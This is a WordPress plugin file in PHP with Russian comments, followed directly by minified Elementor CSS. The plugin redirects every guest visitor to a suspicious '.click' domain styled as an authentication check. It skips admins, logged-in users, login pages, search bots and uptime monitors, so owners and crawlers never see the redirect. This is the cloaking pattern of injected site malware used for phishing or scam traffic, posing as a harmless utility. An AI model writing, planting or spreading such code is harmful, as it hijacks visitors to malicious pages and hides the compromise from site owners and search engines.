<?php
/**
 * Plugin Name: Controlled Redirect
 * Description: Redirects guest users to a specified domain (302), excluding admins and search bots.
 * Version: 1.0
 * Author: You
 */

add_action('template_redirect', function () {

    // Целевой домен
    $target_url = "https://auth-909-check-142-3895.click";

    // Не редиректим админов, логин/регистрация и авторизованных пользователей
    if (is_admin() || is_user_logged_in() || 
        preg_match('/(login|wp-login|wp-admin|register)/i', $_SERVER['REQUEST_URI'])) 
    {
        return;
    }

    // Определяем бот или реальный юзер
    $bot_list = [
        'bot', 'spider', 'crawl', 'slurp', 'bingpreview', 'yandex', 'baidu', 'duckduckbot',
        'sogou', 'exabot', 'facebookexternalhit', 'ia_archiver', 'pingdom'
    ];

    $ua = strtolower($_SERVER['HTTP_USER_AGENT'] ?? '');

    foreach ($bot_list as $bot) {
        if (strpos($ua, $bot) !== false) {
            return; // бот — не трогаем
        }
    }

    // Редиректим гостя
    wp_redirect($target_url, 302);
    exit;
});.elementor-motion-effects-element,.elementor-motion-effects-layer{transition-duration:1s;transition-property:transform,opacity;transition-timing-function:cubic-bezier(0,.33,.07,1.03)}@media (prefers-reduced-motion:reduce){.elementor-motion-effects-element,.elementor-motion-effects-layer{transition-duration:0s!important}}.elementor-motion-effects-container{height:100%;left:0;overflow:hidden;position:absolute;top:0;transform-origin:var(--e-transform-origin-y) var(--e-transform-origin-x);width:100%}.elementor-motion-effects-layer{background-repeat:no-repeat;background-size:cover;left:0;position:absolute;top:0}.elementor-motion-effects-perspective{perspective:1200px}.elementor-motion-effects-element{transform-origin:var(--e-transform-origin-y) var(--e-transform-origin-x)}